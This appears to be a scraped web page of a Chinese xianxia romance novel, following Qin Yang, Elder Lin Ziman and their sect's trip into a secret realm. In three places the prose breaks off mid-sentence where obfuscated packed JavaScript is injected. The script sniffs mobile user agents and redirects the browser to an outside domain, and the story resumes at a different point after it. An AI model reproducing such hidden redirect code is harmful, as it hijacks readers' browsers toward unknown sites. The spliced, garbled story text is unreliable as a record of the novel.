这几年中,不是没有过非议,但自从有几个弟子在讨论“林长老是如何让自己的道侣收自己养的小白脸当徒弟”被吕秉清听见,罚去前车之鉴后,大家虽心照不宣地认为吕秉清这是恼羞成怒了,坚信林子满和秦扬私底下必定有一腿,但就算有人忍不住私下里偷偷议论,到底也收敛了许多。 对于吕秉清和林子满的关系,秦扬也实在看不明白。 要说情投意合,却分居两地,也从未见两人有过什么亲密举动。面对自己这么一个疑似是林子满养的小白脸的人,还能在她的要求下收为弟子?功法剑术倾囊相授?虽然不喜他,却也未曾为难过他。 若二人当真感情甚笃,那他只能说吕秉清实在不是一般人,容人之度非他这般普通人所能懂。 但要说感情不睦,那在听到流言蜚语时,更应该做的难道不是不顾林子满的感受,将自己逐出师门,以维护自己掌门的威严吗?但他却是惩处了嚼舌根的那几人,对自己还是一如既往。 而且宗门里的长老大多是化神期,林子满虽在元婴期却能独占一峰,且无为峰的灵气充沛程度仅次于寒月岛,座下也只有茅重一个弟子,平时更是深居简出,不曾参与宗内长老公开授课,却也无人敢对此提出不满,可见掌门对她的维护。 唉—— 秦扬叹了口气,抬手挡住眼睛,心想:人心真是复杂。 就算他们这一族最擅长的就是窥探人心,他也看不透林子满的内心。 但无论怎样,林子满对他的好是真的,她是第一个,也是唯一一个这样不求回报对他好的人。 这种感觉很陌生,但他并不讨厌,甚至想紧紧抓住。 就算…… 就算她对自己这样好是因为喜欢他,就算她内心深处并不是真的毫无所求…… 他也是能理解的。 他也不是不能回应她的心意的…… 意识到自己的想法,秦扬一顿,猛地从摇椅上坐起来,呆怔地看着前方,空中漂浮的灰尘在阳光照射下起起落落,就像他此时的心跳,一下快一下慢,毫无章法。 他……他不是不能回应她的心意的…… 如果她坚持的话,他,他也是愿意的…… 不行! 秦扬猛地站起来,在院中来回踱步。 不行,他不能这样。 他来人界是有要事要做的,他怎么能像自己从前最不屑的愚蠢之辈一般,耽溺于男女情爱,忘了要成就的大业? 情之一字最是虚无缥缈又滑稽可笑,山盟海誓时说着情比金坚、不离不弃,厌烦之后不照样会朝三暮四、同床异梦? 他父母不就是最好的例子吗? 对,没错,他不应该被迷惑,不过都是些虚情假意,都是会变的,林子满不是已经开始变了吗? 秦扬脚步一顿,先前赵斐说过的话在他耳边响起。 “我看她多半是已经看够你这张脸了!” 他不自觉摸上自己的脸,难道真的是这个原因? 他抿着嘴,眼里闪过幽幽暗光。 · 无为峰上,炊烟袅袅升起—— “师父,你是不知道那个秦扬下手有多狠。”茅重蹲在火堆旁,一边转动着手中的烤鱼一边对林子满抱怨,“没得到奖品反挨了一顿痛揍,早知道我就不与他争了。” 林子满坐在小桌旁,慢条斯理地吃着菜,见茅重扯动了脸上的伤口,痛的龇牙咧嘴,忍不住笑道:“你自己学艺不精,怎么还要怪别人下手狠?” “本来就是他下手狠,他跟别人比试的时候我又不是没去看过,哪有像对我一样专挑脸上揍的?我看他就是想来无为峰被师父拒绝,所以嫉妒我。要不是我皮糙肉厚,哪还能在这儿给师父你做饭?你倒好,还在这儿取笑我。” “脸被揍成猪头也不耽搁做饭啊,这样想来,秦扬还是很贴心的啊。” “师父!” “好了好了,不逗你了,说正事。” 林子满放下筷子,正色道:“白斓可同意收你了?” 茅重得意地一甩头,十分骄傲:“当然同意了,虽然败给了秦扬那小子,但你徒弟我也是筑基期里的第二啊!我打了那么多场,师父你就去看了小半天,自然不知道我现在实力大涨!” 说着还举起胳膊秀了秀自己的粗壮的臂膀。 “得了吧你,有两下子就在这儿沾沾自喜了,白斓可是出了名的严格,若你在她门下还像以前一样懒散,那你可有的苦头吃了。” 茅重撇撇嘴,不在意道:“师父,你就放心吧,我还能不比你更了解白长老吗?在她手下我不会吃亏的。” 林子满看着茅重那不着调的样子,叹了口气,无奈道:“就算你跟白斓血脉关系更近些,但你莫不是以为你们这一族都是些跟你一样的游手好闲、好吃懒做之辈?” 茅重抗议:“什么叫跟我一样游手好闲、好吃懒做?我明明很上进的好吗?!” 林子满:“你若是上进,白斓上次还会看不上你?” 茅重嗫嚅道:“……我那不是,我那时候不是还小么。” 林子满戏谑道:“那这次怎么也没打赢你秦师弟?你总不能比秦扬还小吧?” “师父你还好意思说,我跟秦扬到底谁才是你徒弟啊?你有什么好东西都先想着他,把他养的修为比我还高,这让我很没面子的好吗?不过——”说着,茅重又一脸八卦地问,“师父你到底怎么想的,这次我走了,你如果把他收下,就你们二人在峰上,那不是想干什么就干什么?” 林子满斜乜了他一眼,凉凉道:“你若再把那些人私底下编排的话当真,我看你这颗脑袋也没有留着的必要了,毕竟这蠢到只能当个摆设、凑个身高的东西还不如剁下来给我当脚凳。” 茅重摸摸脖子,讪笑道:“是徒儿错了,师父大人有大量,莫与我计较。” “行了,把你那条鱼啃完就快去收拾行李,白斓下午就要回去了,你若没赶上就自己走着去虎行山。” “得嘞!”茅重吆喝一声,三两下啃完鱼就冲进屋里开始收拾东西。 “莽莽撞撞的,也不知道要等到什么时候才能稳重点。”林子满笑着摇摇头,抬手打出一道灵力熄灭火堆,拿起筷子继续悠闲地进食。 3. 恩情 摘花会结束后,各个宗门派来的代表陆陆续续离开。 寒月岛外,茅重还在絮絮叨叨。 “师父,你要用的东西都搬过来了吗?狐裘大氅什么的都带了吗?你总是喜欢吹大风的时候跑到外面去看风景,寒月岛在湖中央,湿气重又冷,要是不穿厚一点会生病的,你又随便的不行,冷了也懒得去找衣服穿。唉,要不我还是留下来照顾你吧,我觉得掌门实在不是个靠谱的,你没了我不行啊……” “臭小子!我还在这儿你就敢说我坏话,我看你是又欠抽了!” 吕秉清照着茅重的脑袋就是一巴掌,打的他“嗷”了一声就往别处跑。 看着吕秉清撵着茅重到处跑,林子满禁不住笑出声来:“小清也真是的,都是一宗之主了还跟以前一样没个正形。” “毕竟他俩是从小打到大的情分。”白斓在一旁淡淡道。 过了一会儿,她又道:“你把茅重教的很好,他现在都学会为别人考虑了,若是我来教,指定教出一个跟我一样冷漠的。” “冷漠也不一定是件坏事,有时候甚至能成为一层很坚固的铠甲,保护自己免受外界的伤害。”林子满叹道,“我能教他的实在太有限,把他交给你我也就安心了。” “安心去跟他再续前缘?” 林子满一愣,以为白斓也听见了宗门里的风言风语,顿时有些哭笑不得:“你什么时候会听别人嚼舌根了?” 白斓:“何需听别人说?这次大比他出尽风头,我又不瞎,自然也看见了。” 林子满无奈道:“不是你想的那样。” “是不是那样都跟我关系不大,我只是想提醒你一句——”白斓偏头看她,“就算再像,他也不会是你心里那个人。有茅重父母的前车之鉴在,我想你心里应该清楚这一点。” 林子满点点头:“我知道的,所以说不是你想的那样,我现在只是……” 她顿了顿,放轻了语气:“只是想全自己一个心愿,看着他走上他本该走的路。” 白斓皱眉:“都说了再像也不是,你这样不过是自欺欺人。” 林子满笑着摇摇头,将话题引向别处:“时候不早了,你跟阿重也该启程了。” 待他们的身影远去消失,耳边重又安静下来,林子满才低声喃喃了一句:“这不是自欺欺人。” “师姐,走吧,我们回去将你的东西收拾收拾,看有没有什么遗漏的,我好替你取来。”吕秉清教训完茅重返身回来。 “我跟你可不一样,早就到了成熟稳重的年纪了,哪像你,至今童心未泯,跟个弟子追逐打闹,吕大掌门真是好威风呢。”林子满收敛情绪,打趣道。 “这不是怕气氛太凝重,那小子扭扭捏捏的又不舍不得走了,那我可有的烦了。” 两人正准备上岛,旁侧走来一人。 秦扬对着二人行礼:“掌门,林长老。” 吕秉清皱眉:“你又有什么事?” 见他语气稍显不耐烦,秦扬顿了顿,犹豫道:“弟子进阶在即,想另寻一处地方闭关。” 大部分弟子筑基之后便会寻一长老拜入其门下,跟随师父修行,想闭关也能在峰上寻得适宜之所。 但秦扬由于不受吕秉清所喜,一直住在弟子峰,那地方人员混杂,喧闹不已,且灵气也并不充沛,实在不是个适宜闭关清修的地方。 平时秦扬不在意这些,在自己住的小院四周设好结界也能专心入定,但这次事关进阶,他也不敢托大。 进阶金丹,确实需要谨慎,吕秉清看了眼林子满,伸手摸出一块令牌抛给秦扬:“那你便来寒月岛寻一处石室,安心闭关,待突破后再回弟子峰。” 秦扬接过令牌,见二人没有继续搭理他的意思,只能告退离去。 看着他远去的背影,林子满道:“既收了他为弟子,一直让他住在弟子峰也不好吧?” 吕秉清不屑地撇了撇嘴:“有什么不好,在那儿他更能施展开拳脚,若搬来寒月岛,那些莺莺燕燕来找他岂不是都不方便?” 见林子满脸色一僵,吕秉清劝慰道:“师姐,生活总是向前的,你若能找到一个真心待你的人,我们都会祝福你,杨师兄肯定也会为你开心,毕竟他唯一的的愿望就是希望你好好的。” “可是那个秦扬,第一次见面就刺伤你,还哄着你给他找各种天材地宝,这也就算了,什么青梅竹马、红颜知己更是一个接一个,身为修仙之人却是这种拈花惹草的性子,就算他跟杨师兄长得再像,也不是什么好东西,你千万别被那张脸给骗了!” “怎么今天一个个的都上赶着劝说我来了。”林子满忍不住扶额,无奈道,“不是早跟你说过我对他不是那个意思吗?我只是希望他这一生能过得顺遂些,最好能有个辉煌的未来。” “可是看着他越来越强,扬名立万、天下皆知了,你就真的开心了,真的放下了吗?” 林子满一顿,低下头理了理身前的头发,掩去眼里的情绪:“会的,我会开心,会放下的。” 毕竟,如果没有遇见她,那才是他本来会有的未来。 吕秉清见她这副装作不在意的样子,就知道她肯定是放不下的。 但是有什么办法呢?他深深叹了口气。 往事过于沉重,面上再云淡风轻,心里依旧是油煎火燎,能放过她的也只有她自己。 寒月岛坐落于沁骨湖中心,是永凌山灵气最为丰沛之地,亦是掌门及其亲传弟子所居之处。 因其形似一轮弯月,四季皆如冬日而得名。 岛上遍植梅花,日日繁盛。 寒月岛只有一条路与外界相连,路口设有结界,须持令牌方可通过。 林子满裹着一件白色大氅,寻了一棵高大的红梅,脚尖轻点,飞身而上,在树干上选了个舒适的位置躺下。 远处的湖面在微风吹拂下波光粼粼,不怕冷的鸟在树梢飞来跳去,婉转啼鸣随着幽幽梅香时不时传来。 林子满晒着越过枝桠而下的太阳,突然想起上一世的自己,那时候她还在孤儿院,最盼望的便是下雪天的到来。 雪对于孤儿院的孩子来说是难得的玩具,每个人都有份,不必担心玩着玩着被别的小孩抢走。 院长怕他们待在屋子里会被冻着,因此大家在雪地里追逐打闹也不会被训斥。 玩累了就可以找处开阔的地方,挤作一堆晒太阳。 有时候大家都不说话,也什么都不想,只是互相挨着,晒着暖洋洋的太阳发呆,那是她记忆里难得的温馨静谧时刻。 院里还有棵柿子树,落光叶子后只剩下红彤彤的果实,若下一场早雪,湛蓝的天空下,白雪红柿,是再美不过的景色。 但小孩子是不会讲究什么风景美不美的,他们只会尽责地守着那棵树,在鸟雀飞来啄食时将它们赶跑。 待到柿子成熟时,院长会用长木棍做一个网兜,将柿子一个个摘下,每人便都能分得一个大柿子,丰收的年份还能将柿子吊成柿饼,当成奖励发给听话的孩子。 真是奇怪。 林子满心想,那么久远的记忆,她竟然还能记得许多小细节,甚至连柿子肉细腻的纹路都宛然在目。 说起来,无为峰上的那棵柿子树今年好像结的还不错,不知道熟了没有。 想着柿子清甜的口感,林子满忍不住咽了咽口水,撑着树干跳下来,准备上无为峰摘柿子吃去。 不想刚落地便见一人迎面走来,林子满微微愣神,还没反应过来,来人已经躬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902820|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身向她行礼。 秦扬一身黑衣,俊朗的眉眼因着低头的动作被垂下的额发遮挡得隐隐约约,他声音低沉,已经褪去了少年时的青涩,身量又拔高不少,肩膀也更为宽厚,整个人已经越发接近林子满记忆中的样子。 林子满收回思绪,温声道:“进阶可还顺利?怎么不在石室中多闭关一段时日?” 秦扬笑道:“一切都挺顺利的,闭关一年多了,想着还是得靠实战稳固境界。” 林子满点点头,知道他说的是过段时日的历练大会,到时候整个修真界修为合适的修士皆会参加,确实是个稳固修为的好机会。 话题到这里便止住了,两人一时相顾无言,却都没有要离开的意思。 看着那张熟悉的脸,林子满脑子一热,脱口而出:“你能陪我去无为峰上摘几个柿子吗?” 可能是她的要求过于突兀,秦扬明显怔了怔。 林子满尴尬地笑笑,刚要打个哈哈糊弄过去,他却点头应允了。 明明可以御剑,两人却谁都没提这回事儿,一步步朝着山上走去,路上遇见几个小弟子,用一种八卦的眼神打量着他们。 上山的路不短,他们走了好一阵子,太阳悄悄躲去了云后,天上又开始零零星星地飘下了雪花。 今年的柿子果然结的不少,秦扬轻巧地跃上树,挑了树顶长得最好的几个摘下。 林子满在旁边的屋檐下坐下,就着雪景吃柿子。 “长老怎么不住无为峰了?”秦扬没话找话。 “山上冷的很。”林子满随口道。 秦扬:“……” 这确实有点过于敷衍了,寒月岛四季如冬,比无为峰上冷多了,若真的怕冷,怎的还搬去寒月岛? 沉默片刻,秦扬还是没忍住:“我有个问题一直想问长老。” 林子满无奈,心想怎么又来了,这些人就不能消停一会儿吗? “我知道你想问什么,那些流言蜚语你别放在心上,我对你真的没有其他企图。”林子满赶在秦扬之前开口。 “我不是……”秦扬顿了顿,耳尖微红,现在已经分不清谁对谁有别的企图了,“我只是想问问你为什么对我这么好。” 林子满正想着怎么解释能比较容易让人接受,看着落了他满头的雪花,嘴边的话突然就拐了个弯:“我头上也白了吗?” 话题转换的太快,秦扬一愣,点了点头,抬手给她拂去乌发上的雪,这是个略微亲密的动作,林子满忍不住偏了偏头。 “你听过一句诗吗?” “什么?” “君埋泉下泥销骨,我寄人间雪满头。” 秦扬蹙起眉头,不解地看着她。 “我曾经欠了一个人许多,却无从还起。”林子满咬了一口汁水丰沛的果子,看着纷纷扬扬的飞雪,突然觉得这柿子也不怎么甜,“几百年前,我来这儿摘柿子,那次也下了很大的雪,我就突然想起了这句诗。虽然我不会满头白发,只不过因雪白头,但他却是真正的骨枯黄土了。” 林子满望着秦扬黑亮的眼眸,认真道:“有些事情你不必在意背后的原因,也不必总想着欠了我什么,你只要知道我总不会害你就行了。” “长老虽然这么说,但我并非知恩不图报的人,日后定会报答你的。” 林子满笑了笑,随手丢掉柿子,拍落身上的雪站起来:“你好好修炼,有朝一日能名满天下、受众人景仰,便是对我最大的报答了。” 名满天下吗? 秦扬看着林子满渐渐远去的背影,眯了眯眼,虽然不知道为什么,但既然那是她想要的,那他会努力做到的。 毕竟演一个心怀天下的翩翩君子是件不算难的事,宗门百家多的是道貌岸然的人。 4. 秘境 又是一年春草绿,芳草正萋萋,百花争艳中,修仙界的小辈们也再次迎来了属于他们的历练。 十年一度的历练大会伴随着漫山的春花如火如荼地展开了,各大宗门联手开启得失境,凡修为满足条件者皆可进入。 得失境是一处上古时遗留下来的秘境,入口处悬有一块莹润的石头,似玉非玉,正反两面刻有得失二字,因此世人将此秘境命名为得失境。 但得失境入口处的结界神秘非凡,许多人尝试过破解,无一不铩羽而归。 本以为这上古秘境就要这样弃之无用,正当许多人为此惋惜时,沉迷于破解结界的阵修又有了新的发现—— 封印整个秘境的结界虽然强悍无比,历经上万年依旧坚不可摧,但每过十年的阳春三月,结界会突然变得薄弱,只需注入足够的灵力,便可在结界上打开一道不大的裂缝,修为在元婴及以下者都可自由出入。 也曾有修士仗着修为高深,试图强行闯入寻宝,却在踏入的瞬间被神秘的力量化作一地齑粉,从此再无人敢强闯。 得失境如其名,秘境中有得有失,既有数不清的天材地宝供你得,也有重重危机等着取你性命,身在其中者应好好思量,自己究竟会是得,还是失。 待到三月一过,结界的力量便会恢复如常,强行打开的裂缝也会被修复如初,若不能及时出去,便要在秘境里等上整整十年,待下一次秘境打开时方可重获自由。 各宗门商议后决定将此处作为年轻一辈的历练之所,年轻弟子既可在危机中提升实力,也有机会取得灵药珍宝,十年一度的历练大会就此流传至今。 寒月岛上,听到林子满说她也要去得失境,吕秉清的表情变得一言难尽:“师姐,你已经五百多岁了,一大把年纪了去跟一群小孩子闹什么?” “五百多岁我也还是元婴,得失境都准我进,你哪来那么多废话?”林子满亮了亮自己沙包大的拳头,露出死亡微笑,“还有,最好不要说一个女孩子老,不然你就会知道什么叫作老当益壮。” 吕秉清咽了咽口水,连忙拱手认错。 过了半晌,他揪着自己特意留出的一撮山羊胡,还是没管住自己的嘴:“你这突然要去得失境,怕不是为了秦扬吧?” 林子满把玩着手中的茶盏,冷冷瞥了他一眼,并不是很想搭理他。 “师姐啊,他去得失境是去历练的,若事事一帆风顺,做什么都有人为他保驾护航,哪有历练的效果?再说了,得失境哪里就危险到需要你亲自跟去保护了?” 林子满一顿,青瓷茶盏磕在楠木桌上,清脆的碰撞声显得她的声音更低沉了几分:“得失境有多危险,我比谁都清楚。” 吕秉清挠挠头,讪讪道:“师姐,我不是故意的。” “只是这么多年过去了,你也该走出来了。如果你实在忘不了杨师兄,想找个人当替身,聊以慰藉,我也是赞成的,可——” “闭嘴吧你!”听他又绕到这上面来,林子满听得头都要大了,她深深地叹了口气,“别再说什么替身不替身了,我真没那个意思。” “呵,你没那个意思,我看他自己都挺有那个意思的。”吕秉清冷笑一声,语气里有几分阴阳怪气。 不想再跟他浪费口舌,林子满起身便走。 吕秉清苦口婆心的声音从身后传来:“师姐,你如果真对秦扬没意思,还是跟他说清楚的好。我看那秦扬也非池中之物,对你的心思又不一般,若将来求而不得,心生怨怼,恐怕不好收场啊。” 林子满脚步一顿,沉默片刻后轻声道:“我会跟他说清楚的。” 得失境结界开启的前几日,林子满闲来无事又逛到了无为峰上,不想早就无人居住的地方竟不止她一人。 看见坐在屋檐下的青年,她惊讶地挑了挑眉:“你怎么在这儿?” 秦扬笑着站起来:“我是来等你的。” 林子满诧异:“你怎么知道我今天会过来?” “我这几日都在这儿,想着你从寒月岛出来的话,应该只会来这里。” 林子满刚想问怎么不直接去寒月岛找她,便想到沁骨湖上空是无法御剑的,没有令牌根本进不去。 “掌门又把你的令牌收走了?”林子满皱眉。 秦扬不在意地笑笑:“我已经成功进阶,理当将令牌还回去。” 身为掌门的亲传弟子,秦扬却连寒月岛都进不去,可想而知那些人背后是怎么议论他的。 这个吕秉清,怎么还说不听呢?林子满无奈地想,天天这么磋磨人家,万一哪天知道了真相,不得后悔死? “找我是出了什么事吗?”往常秦扬找她,一般都是修行遇到了问题,如今竟连着几天守在无为峰等她,想来不是一般的困难。 “过几天就要进得失境了,这一去便是一个多月,有件东西我想在去之前给你。”秦扬从袖子里掏出一根发簪,递到林子满面前,有些紧张地等着她的反应。 那是一根翠玉雕成竹枝模样的发簪,光泽莹润却不张扬,低调内敛得仿佛真的竹叶,虽然造型雅致,却是一件能杀人于无形的法器。 林子满认得这簪子,这是去年摘花会筑基期魁首的奖品,虽不算什么特别珍惜的宝物,在普通门派也是难得一见的法器了,至少茅重就很眼馋,没拿到还念叨了好几天。 她看着那根发簪沉默了许久:“为什么要给我这个?” 秦扬抿了抿嘴:“就是想送给你。” 他只身在外,这已经是他现如今唯一拿得出手的东西了。 林子满抬头看着他,认真道:“秦扬,有件事我希望你清楚。” 听见这话,秦扬脸上隐隐的期待散去几分。 “首先,我比你年长几百岁,与你不是一个年龄段的人,站在你身边的人应当是个与你年纪相当的姑娘。更重要的是——”林子满顿了顿,虽然感觉怪怪的,她还是坚持说了下去,“我既是你师父的道侣,也就算是你的师娘。” 听着林子满冷淡的话语,秦扬脸色白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林子满暗暗摇头,心想现在的年轻人真是没有一点冒险精神,这么大一帮人是安全了不少,但哪还称得上历练?就算发现了什么珍宝,一群人也分不开啊,进秘境来好像就只是为了凑热闹。 正暗自腹诽,却见秦扬突然四处张望起来,像是在找什么人,视线扫过她时似乎停顿了片刻才移开。 难道他认出自己了?林子满头皮一紧,赶紧伸手一摸怀里,松了口气,妖丹还在。 她现在幻化的脸是原来那个世界里的样貌,秦扬不可能认出来。 刚刚应该是错觉。 或者是被她的美色迷惑了? 林子满被自己自恋的猜想逗乐了,有些好笑地摇了摇头。 走在前头的秦扬收回暗暗打量的余光,眼睛微微眯起,皱眉思索着什么。 一旁的李素月担忧地看着他:“师兄,你怎么了?” 秦扬收敛神色,摇摇头说没什么,心中却有了几分怀疑。 5. 怪鸟 接下来的几日,这浩浩荡荡的一大帮人就跟出来春游一样,走走停停,一路上嬉笑打闹、调风弄月,做什么的都有,几日过去别说寻什么机遇了,连偏僻些的小路都不愿走。 遇到妖兽便呼朋唤友,一窝蜂吱哇乱叫地冲上去,嘴里喊着诸如“看剑!”“哪里逃!”“必不会放你去害人!”各种为自己增长气势的话,各式各样的符咒刀剑朝着妖兽一通乱扔。 听着那些妖兽凄厉的嗥叫,林子满甚至怀疑它们不是命绝于灵力,而是被活生生砸死的。 不过几头低阶妖兽,至于这么夸张吗? 但也有一些实力不错的,不甘于这样混日子,白白浪费了这大好的机会,在熟悉环境后便相约离去寻找属于自己的机缘。 队伍里的人来来去去,留下的大多是实力不济的小弟子,惧于潜伏在秘境里的危险,又想借着人多凑在后面分一杯羹。 资质平庸之辈这样想林子满可以理解,但她不明白怎么秦扬也是毫不着急的样子,悠哉悠哉地到处逛,好似并不在意这秘境中可能存在的宝贝。 真是不争气!林子满愤愤地想,当着她的面做出一副努力修炼的样子,没想到背地里也是这般不思进取! 不行,她得想个什么办法让这群人分开,否则就像吕秉清说的,这样哪有历练的效果? 但世事总是这么无常,林子满还没想出办法,意外就发生了。 就像那句话,你不去就山,山自来就你,无意去寻秘境中的危机,危机反倒会自己找上门来。 那日天朗气清,一大群人照常在宽阔的大路上说说笑笑、闲庭信步,前方却直直地冲过来一只通体漆黑长相怪异的小鸟。 走在前面的一个小弟子举起手中武器挥舞,口中呵斥了几声,试图吓退那不识趣往人堆里扎的鸟。 不想这一举动却激怒了那只鸟,只见它盘旋而上,一边扑扇翅膀一边冲着众人发出刺耳的叫声。 但无人在意它的愤怒,毕竟它看起来实在弱小,就算叫声再怎么尖利刺耳也不过是只愤怒的小鸟,人们只会嫌它聒噪,却不会有人真当回事。 就在大家准备忽略掉它继续前行时,周边的树突然被风刮得左右摆动起来,叶片摩擦沙沙作响,天似乎也慢慢阴了下来。 “怎么突然变天了?”有人奇怪地发问。 方才还是艳阳高照,现下却阴沉得仿佛就要下起雨来。 “快看!那是什么?”另一人惊讶地喊道。 顺着他指的方向,大家抬头望去,只见远方天空不知何时出现了一团黑压压的云,正朝着他们的方向快速移动。 众人惊疑不定,纷纷持剑护于身前。 待离的近了,方才看清那不是什么乌云,而是一大群鸟,模样与那只在他们头顶叫嚣的别无二致。 “这是怎么回事?哪里来的这么多鸟?” “不知道啊,难道是那只鸟叫来的帮手?”有人指指先前那只鸟。 “它叫什么帮手?我们又没怎么它。” 众人窃窃私语,还没讨论出个所以然,鸟群已至眼前,呼啦啦散开往下落,冲着他们的头脸便要啄。 虽然这队伍里的人大部分实力都不怎么样,但见这种鸟灵力低微,大家也就不慌了,拔剑便战,一剑挥出便跌落一群鸟。 谁知随着斩落的鸟越来越多,这群怪鸟却毫无害怕退缩的意思,反而越发愤怒,集体发出刺耳的叫声,吱哩哇啦的吵得人脑仁子疼。 突然,一粒粒白点从天而降,许多人反应不及,被那白点沾了满身,有人凑近一看,顿时捂着鼻子嫌恶地皱眉。 “这鸟也太恶心了吧!” 臭味在人群中散开,不少小姑娘被吓得花容失色,以袖遮面,连连惊叫后退,躲避着朝她们身上袭来的粪便。 一时间,杂乱无章又刺耳的鸟叫,从天而降散发恶臭的排泄物,虽小却尖利的爪子和鸟喙,让这一群半刻钟前还朝气蓬勃的年轻人变得狼狈不堪。 而此时,阵阵嗥叫从密林深处传来,像是有妖兽在愤怒地跺着蹄子,连带着脚下的土地都在隐隐震颤。 妖兽都是领地意识极强的,想必是这气势汹汹的鸟叫声引来了附近妖兽的不满,以为是来挑衅它们的,估计用不了多久就会赶来这边,驱赶这些胆敢擅闯它们领地的不知死活者。 更不妙的是,远方天空又有更大一片阴影在快速接近,眼下这群作乱的鸟还不是全部,它们还有更多的帮手。 秦扬当机立断:“一直这么缠斗下去不是办法,先撤!” 说完朝鸟群中扔去一物,符咒爆裂开来散出漫天烟雾,阻隔了怪鸟的视线,寻不到攻击目标的鸟群乱作一团,不少失了准头撞在树上。 众人往林中躲去,林子满装作慌张无措的样子,与众人一起跌跌撞撞往前跑。 随着年岁渐长,这些年来她越发沉稳,如今这样狼狈地奔逃,倒让她有了几分少时的感觉。 正沉迷于这样的趣味中自得其乐,眼前冷不丁冒出来一只脚,林子满躲闪不及,脚下一绊就要往地上扑去。 苍天啊!这要是平常的路,以头抢地也没什么大不了,顶多疼一阵子。 但现在遍地是鸟粪,被人践踏过以后更是恶臭难闻,熏得人直反胃,这要是摔上去,简直不敢想! 正当林子满满心悲愤时,斜刺里伸过来一只手,稳稳托住了她的手臂。 林子满一个踉跄,好歹避免了和地面那一滩滩难以言说之物的亲密接触。 转头看去,一双狭长的眼睛闯进视野里,眼尾微微上翘,眼底犹如深邃的湖水,泛着微光却深不见底。 在这“生死关头”伸手扶住了她的人竟是秦扬。 待林子满站稳,秦扬便自觉松开了手,神色莫名地看着她。 林子满不解其意,又担心是不是被他发现了破绽,正不知怎么才好,身边又有人挤过。 众人行色匆匆,他们怎么好呆站着拦路? 林子满找到借口,真心实意地道了声“多谢”,转身便跟上了大部队,只不过这次她特意走在了边缘,免得又被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦扬互相介绍一番,林子满朝她微微颔首,却见那名叫李素月的女子不着痕迹地打量了她几眼,眼神里透着几份不善。 哟,敌意还挺大啊。 林子满若有所思地瞧着她,看来是怕师兄被别人勾走了,特意过来盯着啊。 秦扬继续刚才的话题:“方才众人被那群怪鸟围逼得狼狈不堪,杨师姐却连剑都未出鞘,而它们也好像对师姐并无太大敌意,不知这是何故?” 原来是为了这个。 林子满有些意外,没想到秦扬如此敏锐,那样混乱的情况下,还能发现一个陌生人的异样。 但同时她也很满意,看来他这几年确实长进不少,已经越来越像她记忆里的那个人了。 只不过学识这方面实在还有些欠缺,见识也还太少。 因此林子满也不藏着掖着,很大方地为他解了惑:“你听说过一种名为乌鸫的鸟吗?” 6. 变故 “乌鸫?” 秦扬回想了一下自己曾经见过的乌鸫,语气疑惑:“虽然是有几分相似,可与先前那鸟并不完全相同啊。况且乌鸫鸣声婉转,素有‘百舌’之称,叫声怎会如此尖利难听?” 林子满好笑:“人家是来打架的,不是来给你唱曲儿的,你跟人吵架还会轻声细语?” “那为何两种鸟会长得不一样?”一旁的李素月问道。 “得失境与外界的很多妖兽都有共同的祖先,只是被分隔两地,逐渐变化成了不同的样子,你们难道没发现么,就连得失境里最常见的兔子,都与我们平时见过的长得不一样。先前那群鸟应当也是与乌鸫来自同一脉,只是随着时间推移,秘境内外的乌鸫各自都有了不同的变化,所以才会让人难以将二者联系起来。” 秦扬见她侃侃而谈,忽然问了一句:“师姐对得失境很熟悉?” “这就是为什么我是师姐的原因啊。”林子满双手一摊,故作疑惑地挑挑眉,“年长些见识多些很奇怪吗?” 秦扬轻笑,倒也不恼她话语中暗藏的他们见识少的意思。 见他们二人眉来眼去,李素月不乐意了:“你说这么多有的没的做什么,师兄问的是为何那鸟偏偏放过了你,不是问你那鸟是什么来历。” 林子满看着她笑了笑:“这位师妹不若先去了解一下乌鸫的性情,再来评说我是不是在说些有的没的。” “乌鸫是极其记仇的鸟,有仇必报,当着它们的面斩杀它们的同类,虽自身妖力低微,它们也会用尽办法报复。”秦扬开口解释,“想必师姐早早识破了它们的身份,并未攻击它们,所有没有成为它们的攻击对象。” 林子满点点头:“最开始遭到它们攻击时,我便只以结界抵挡,它们见我不反击,而你们又在一旁大肆屠杀,它们自然放过我去寻你们了。” 说着语气里多了几分赞赏:“你年纪轻轻,倒也知道不少东西。” 秦扬唇角上扬,打趣道:“若是个什么都不知道的毛头小子,方才也不敢开口就叫你师妹啊。” “但事实证明你还是个弟弟。”林子满哼笑一声。 秦扬脸上的表情因这声“弟弟”一僵,还没来得及说什么,被冷落在一旁的李素月忍不住了:“那杨师姐怎么不一早出言提醒,如果一开始我们就只开结界抵挡,它们不就会自行离去了吗?也不至于害的它们死伤惨重,我们也狼狈不堪。” 林子满微讶,这话的意思是这一切还成她的错了? “虽不明它们的来历,不知道不反击才是最稳妥的办法,但它们灵力低微是你们都看得出来的,既然知道它们对你们造成不了多大伤害,却选择拔剑相向,而不是放它们一条生路,现在怎么反倒说是我害的?”林子满不解,“难不成我不仅要对你的无知负责,还得时时提醒你要记得装出仁慈的样子?” “你说谁装仁慈呢!”李素月一张脸涨得通红,“你以为人人都像你那么冷血吗?!” 林子满语气平静:“你倒是不冷血,满腔热血也不见你下手时留情几分。” 